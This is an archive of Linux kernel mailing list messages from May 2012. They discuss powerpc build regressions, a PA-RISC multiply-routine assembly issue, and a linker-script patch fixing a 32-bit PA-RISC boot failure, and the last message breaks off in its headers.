X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: Build regressions/improvements in v3.4-rc7
Date: Thu, 17 May 2012 09:51:21 +1000
Lines: 34
Approved: news@gmane.org
Message-ID: <1337212281.30558.17.camel@pasglop>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org>
	 <CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337212316 17369 80.91.229.3 (16 May 2012 23:51:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 23:51:56 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Scott Wood <scottwood@freescale.com>,
	Kumar Gala <galak@kernel.crashing.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 01:51:52 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUo0Q-0004dv-I0
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 01:51:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760773Ab2EPXvq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 19:51:46 -0400
Original-Received: from gate.crashing.org ([63.228.1.57]:43353 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760766Ab2EPXvp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 19:51:45 -0400
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id q4GNpNU1022370;
	Wed, 16 May 2012 18:51:24 -0500
In-Reply-To: <CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com>
X-Mailer: Evolution 3.2.3-0ubuntu6 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4418 gmane.linux.kernel:1298527 gmane.linux.ports.ppc64.devel:82120
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4418>

On Wed, 2012-05-16 at 10:47 +0200, Geert Uytterhoeven wrote:
> On Wed, May 16, 2012 at 10:30 AM, Geert Uytterhoeven
> <geert@linux-m68k.org> wrote:
> > JFYI, when comparing v3.4-rc7 to v3.4-rc6[3], the summaries are:
> >  - build errors: +15/-14
> 
> 15 regressions:
>   + arch/powerpc/platforms/512x/mpc512x_shared.c: error: 'enum
> fsl_diu_monitor_port' declared inside parameter list [-Werror]:  =>
> 70:9, 84:9, 88:36
>   + arch/powerpc/platforms/512x/mpc512x_shared.c: error: 'return' with
> a value, in function returning void [-Werror]:  => 189:2
>   + arch/powerpc/platforms/512x/mpc512x_shared.c: error: function
> declaration isn't a prototype [-Werror=strict-prototypes]:  => 69:5,
> 88:6, 83:6, 187:1
>   + arch/powerpc/platforms/512x/mpc512x_shared.c: error: its scope is
> only this definition or declaration, which is probably not what you
> want [-Werror]:  => 70:9
>   + drivers/virt/fsl_hypervisor.c: error: 'MSR_GS' undeclared (first
> use in this function):  => 799:80
>
> powerpc randconfig
 
Thanks. These are all freescale platforms, the relevant people should be
already but I've added Scott and Kumar to the CC list just in case.

Cheers,
Ben.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: Build regressions/improvements in v3.4-rc7
Date: Wed, 16 May 2012 20:27:35 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <BLU0-SMTP3215D3E80BA82F3C6A654197190@phx.gbl>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org> <CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com> <1337179563.2985.80.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337214481 30267 80.91.229.3 (17 May 2012 00:28:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 May 2012 00:28:01 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	linux-kernel@vger.kernel.org,
	Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	Dmitry Kasatkin <dmitry.kasatkin@intel.com>,
	James Morris <jmorris@namei.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 02:27:59 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUoZO-0000Mc-MD
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 02:27:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751638Ab2EQA1y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 20:27:54 -0400
Original-Received: from blu0-omc4-s8.blu0.hotmail.com ([65.55.111.147]:38874 "EHLO
	blu0-omc4-s8.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751335Ab2EQA1x (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 20:27:53 -0400
Original-Received: from BLU0-SMTP32 ([65.55.111.135]) by blu0-omc4-s8.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 16 May 2012 17:27:52 -0700
X-Originating-IP: [64.229.85.15]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.85.15]) by BLU0-SMTP32.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 16 May 2012 17:27:51 -0700
In-Reply-To: <1337179563.2985.80.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 17 May 2012 00:27:51.0969 (UTC) FILETIME=[E5257910:01CD33C3]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4419 gmane.linux.kernel:1298538 gmane.linux.ports.ppc64.devel:82121
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4419>

On 16-May-12, at 10:46 AM, James Bottomley wrote:

> Wow, lib/mpi/ is a complete horror: it's full of hand crafted asm  
> code.
> The error in this case appears to be that umul_ppm() is implemented as
> an xmpyu instruction.  That's a floating point instruction.  We
> deliberately compile the kernel with floating point disabled because  
> we
> don't want to save and restore the floating point register file on  
> each
> context switch, hence the operand constraints are unsatisfiable.

I haven't tried this but I think the parisc implementation of umul_ppmm
can be deleted.  There is a generic version in the file.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 32bit kernel
Date: Thu, 17 May 2012 08:57:18 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <1337241438.2926.9.camel@dabdike.int.hansenpartnership.com>
References: <20120419102608.1834003e@driller.lan>
	 <BLU0-SMTP60C76C814A1780515CC0B297200@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337241461 4045 80.91.229.3 (17 May 2012 07:57:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 May 2012 07:57:41 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 09:57:40 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUvad-000072-An
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 09:57:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761317Ab2EQH5Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 May 2012 03:57:25 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59637 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1761316Ab2EQH5W (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 May 2012 03:57:22 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A6C8A8EE0E0;
	Thu, 17 May 2012 00:57:21 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ubM65hoeGZbc; Thu, 17 May 2012 00:57:21 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id A848B8EE081;
	Thu, 17 May 2012 00:57:20 -0700 (PDT)
In-Reply-To: <BLU0-SMTP60C76C814A1780515CC0B297200@phx.gbl>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4420
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4420>

On Sun, 2012-04-22 at 08:20 -0400, John David Anglin wrote:
> On 19-Apr-12, at 4:26 AM, Guy Martin wrote:
> 
> > Hi all,
> >
> > I compiled a kernel with a few additional features and I was unable to
> > boot it. It seems that if the entry point is not 0x00100000 in  
> > vmlinux,
> > the boot process fails right after "Total Memory: 2048 MB".
> > This is the only common denominator I could find.
> >
> > I've been able to reproduce this with :
> > - C3600 and J5600
> > - kernel 3.2.12 and 3.3.1
> > - gcc 4.5.3
> > - ld 2.21 and 2.22
> > - palo 1.17 and 1.18
> 
> 
> Could you try the attached patch?  It adjusts the section arrangement so
> that the long branch stubs don't appear at the start of .text.  As a  
> result,
> _stext and stext now are at 10100000.
> 
> The problem arises from section merging and a few branch distances
> in the kernel exceeding the PA 2.0 limit.
> 
> The patch might not work if the long branch stubs don't work...
> 
> Another approach might be to add -mlong-calls to CFLAGS.  However,
> these calls are less efficient.

OK, to add this to the fixes repo, I need a change log and a signoff
(from Dave).

I think the changelog would be:

---
fix boot failure on 32 bit caused by out of range branch stubs

In certain configurations, the resulting kernel becomes too large to
boot because the branch stubs are all placed at the very start of the
image.  Fix this by placing the branch stubs after the head text so the
distances are a bit shorter.
---

Is that about right?

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] PARISC: fix boot failure on 32-bit systems caused by branch
 stubs placed before .text
Date: Thu, 17 May 2012 10:34:34 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <4FB50C7A.7050409@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------010900040001070703090800"
X-Trace: dough.gmane.org 1337265245 26871 80.91.229.3 (17 May 2012 14:34:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 May 2012 14:34:05 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Guy Martin <gmsoft@tuxicoman.be>
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 16:34:03 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SV1mD-00061G-2K
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 16:34:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761074Ab2EQOeA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 May 2012 10:34:00 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:51910 "EHLO
	mail-05.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1761223Ab2EQOd7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 May 2012 10:33:59 -0400
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-05.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1SV1mA-0006KX-1R; Thu, 17 May 2012 10:33:58 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4421
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4421>

This is a multi-part message in MIME format.
--------------010900040001070703090800
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

In certain configurations, the resulting kernel becomes too large to 
boot because
the linker places the long branch stubs for the merged .text section at 
the very start
of the image.  As a result, the initial transfer of control jumps to an 
unexpected
location.  Fix this by placing the head text in a separate section so 
the stubs for
.text are not at the start of the image.

Signed-off-by: John David Anglin <dave.anglin@bell.net>

-- 
John David Anglin    dave.anglin@bell.net


--------------010900040001070703090800
Content-Type: text/plain; charset=windows-1252;
 name="vmlinux.lds.S.diff.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="vmlinux.lds.S.diff.txt"

 arch/parisc/kernel/vmlinux.lds.S |    6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index fa6f2b8..64a9998 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -50,8 +50,10 @@ SECTIONS
 	. = KERNEL_BINARY_TEXT_START;
 
 	_text = .;		/* Text and read-only data */
-	.text ALIGN(16) : {
+	.head ALIGN(16) : {
 		HEAD_TEXT
+	} = 0
+	.text ALIGN(16) : {
 		TEXT_TEXT
 		SCHED_TEXT
 		LOCK_TEXT
@@ -65,7 +67,7 @@ SECTIONS
 		*(.fixup)
 		*(.lock.text)		/* out-of-line lock text */
 		*(.gnu.warning)
-	} = 0
+	}
 	/* End of text section */
 	_etext = .;
 

--------------010900040001070703090800--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timur Tabi <timur@freescale.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: Re: Build regressions/improvements in v3.4-rc7
Date: Thu, 17 May 2012 12:30:59 -0500
Organization: Freescale
Lines: 18
Approved: news@gmane.org
Message-ID: <4FB535D3.7000106@freescale.com>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org>  <CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com> <1337212281.30558.17.camel@pasglop>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337275873 19476 80.91.229.3 (17 May 2012 17:31:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 May 2012 17:31:13 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	<linux-kernel@vger.kernel.org>,
	Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Scott Wood <scottwood@freescale.com>,
	Kumar Gala <galak@kernel.crashing.org>
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 19:31:10 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SV4Xd-0007qD-TL
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 19:31:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760393Ab2EQRbJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 May 2012 13:31:09 -0400
Original-Received: from tx2ehsobe005.messaging.microsoft.com ([65.55.88.15]:54387 "EHLO
	tx2outboundpool.messaging.microsoft.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758180Ab2EQRbH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 May 2012 13:31:07 -0400
Original-Received: from mail24-tx2-R.bigfish.com (10.9.14.254) by
 TX2EHSOBE009.bigfish.com (10.9.40.29) with Microsoft SMTP Server id
 14.1.225.23; Thu, 17 May 2012 17:30:58 +0000
Original-Received: from mail24-tx2 (localhost [127.0.0.1])	by mail24-tx2-R.bigfish.com
 (Postfix) with ESMTP id 922C9C011E;	Thu, 17 May 2012 17:30:58 +0000 (UTC)
X-SpamScore: -4
X-BigFish: VS-4(zz146fI98dKzz1202hzzz2dh2a8h668h839hd25he5bh)
X-Forefront-Antispam-Report: CIP:70.37.183.190;KIP:(null);UIP:(null);IPV:NLI;H:mail.freescale.net;RD:none;EFVD:NLI
Original-Received: from mail24-tx2 (localhost.localdomain [127.0.0.1]) by mail24-tx2
 (MessageSwitch) id 1337275857361679_22032; Thu, 17 May 2012 17:30:57 +0000
 (UTC)
Original-Received: from TX2EHSMHS012.bigfish.com (unknown [10.9.14.253])	by
 mail24-tx2.bigfish.com (Postfix) with ESMTP id 547F54800AD;	Thu, 17 May 2012
 17:30:57 +0000 (UTC)
Original-Received: from mail.freescale.net (70.37.183.190) by TX2EHSMHS012.bigfish.com
 (10.9.99.112) with Microsoft SMTP Server (TLS) id 14.1.225.23; Thu, 17 May
 2012 17:30:56 +0000
Original-Received: from tx30smr01.am.freescale.net (10.81.153.31) by
 039-SN1MMR1-003.039d.mgd.msft.net (10.84.1.16) with Microsoft SMTP Server
 (TLS) id 14.2.298.5; Thu, 17 May 2012 12:31:03 -0500
Original-Received: from [10.82.123.3] (efes.am.freescale.net [10.82.123.3])	by
 tx30smr01.am.freescale.net (8.14.3/8.14.0) with ESMTP id q4HHUxOr024123;	Thu,
 17 May 2012 10:31:02 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120312 Firefox/11.0 SeaMonkey/2.8
In-Reply-To: <1337212281.30558.17.camel@pasglop>
X-OriginatorOrg: freescale.com
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4422 gmane.linux.kernel:1298984 gmane.linux.ports.ppc64.devel:82130
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4422>

Benjamin Herrenschmidt wrote:
> Thanks. These are all freescale platforms, the relevant people should be
> already but I've added Scott and Kumar to the CC list just in case.

Seeing how this is my code, I'd say the relevant people were not CC'd. :-)

Anyway, I think I see what the problem is, but it does appear when I use
the normal defconfigs.  What .config was being used?

-- 
Timur Tabi
Linux kernel developer at Freescale

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tabi Timur-B04825 <B04825@freescale.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: Re: Build regressions/improvements in v3.4-rc7
Date: Thu, 17 May 2012 17:52:32 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <CAOZdJXW2jmFG8hkBRMAsO-CJ3ruMd28LqS0b-BGZTU7FnpRi3Q@mail.gmail.com>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org>
	<CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com>
	<1337212281.30558.17.camel@pasglop>	<4FB535D3.7000106@freescale.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337277171 4721 80.91.229.3 (17 May 2012 17:52:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 May 2012 17:52:51 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Wood Scott-B07421 <B07421@freescale.com>,
	Kumar Gala <galak@kernel.crashing.org>
To: Tabi Timur-B04825 <B04825@freescale.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 19:52:45 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SV4sQ-000245-3a
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 19:52:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761935Ab2EQRwh convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 May 2012 13:52:37 -0400
Original-Received: from ch1ehsobe006.messaging.microsoft.com ([216.32.181.186]:18227
	"EHLO ch1outboundpool.messaging.microsoft.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757016Ab2EQRwg convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 May 2012 13:52:36 -0400
Original-Received: from mail133-ch1-R.bigfish.com (10.43.68.249) by
 CH1EHSOBE003.bigfish.com (10.43.70.53) with Microsoft SMTP Server id
 14.1.225.23; Thu, 17 May 2012 17:52:27 +0000
Original-Received: from mail133-ch1 (localhost [127.0.0.1])	by
 mail133-ch1-R.bigfish.com (Postfix) with ESMTP id 5F7BF1C023D;	Thu, 17 May
 2012 17:52:27 +0000 (UTC)
X-SpamScore: -4
X-BigFish: VS-4(zz9371I146fI98dKzz1202hzz8275bhz2dh2a8h668h839h8e2h8e3hbe9i35h)
X-Forefront-Antispam-Report: CIP:70.37.183.190;KIP:(null);UIP:(null);IPV:NLI;H:mail.freescale.net;RD:none;EFVD:NLI
Original-Received: from mail133-ch1 (localhost.localdomain [127.0.0.1]) by mail133-ch1
 (MessageSwitch) id 133727714622536_11933; Thu, 17 May 2012 17:52:26 +0000
 (UTC)
Original-Received: from CH1EHSMHS020.bigfish.com (snatpool3.int.messaging.microsoft.com
 [10.43.68.226])	by mail133-ch1.bigfish.com (Postfix) with ESMTP id
 F2C5A30006F;	Thu, 17 May 2012 17:52:25 +0000 (UTC)
Original-Received: from mail.freescale.net (70.37.183.190) by CH1EHSMHS020.bigfish.com
 (10.43.70.20) with Microsoft SMTP Server (TLS) id 14.1.225.23; Thu, 17 May
 2012 17:52:25 +0000
Original-Received: from 039-SN2MPN1-021.039d.mgd.msft.net ([169.254.1.19]) by
 039-SN1MMR1-002.039d.mgd.msft.net ([10.84.1.15]) with mapi id 14.02.0298.005;
 Thu, 17 May 2012 12:52:32 -0500
Thread-Topic: Re: Build regressions/improvements in v3.4-rc7
Thread-Index: Ac00UtV1YKsG10l5cUmSSBpQrtusKAALOgiA
In-Reply-To: <4FB535D3.7000106@freescale.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [107.22.165.113]
Content-ID: <E3FC06016455C24BAC489A818A55BAD5@mgd.freescale.com>
X-OriginatorOrg: freescale.com
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4423 gmane.linux.kernel:1298990 gmane.linux.ports.ppc64.devel:82131
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4423>

On Thu, May 17, 2012 at 12:30 PM, Timur Tabi <timur@freescale.com> wrot=
e:

> Anyway, I think I see what the problem is, but it does appear when I =
use
> the normal defconfigs. =A0What .config was being used?

I meant to say that it does NOT appear.

--=20
Timur Tabi
Linux kernel developer at Freescale
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: Re: Build regressions/improvements in v3.4-rc7
Date: Thu, 17 May 2012 20:42:08 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <CAMuHMdVszy2sk6f045krqr=PPQFnd-GrtJYJMQCCPzkq-65psg@mail.gmail.com>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org>
	<CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com>
	<1337212281.30558.17.camel@pasglop>
	<4FB535D3.7000106@freescale.com>
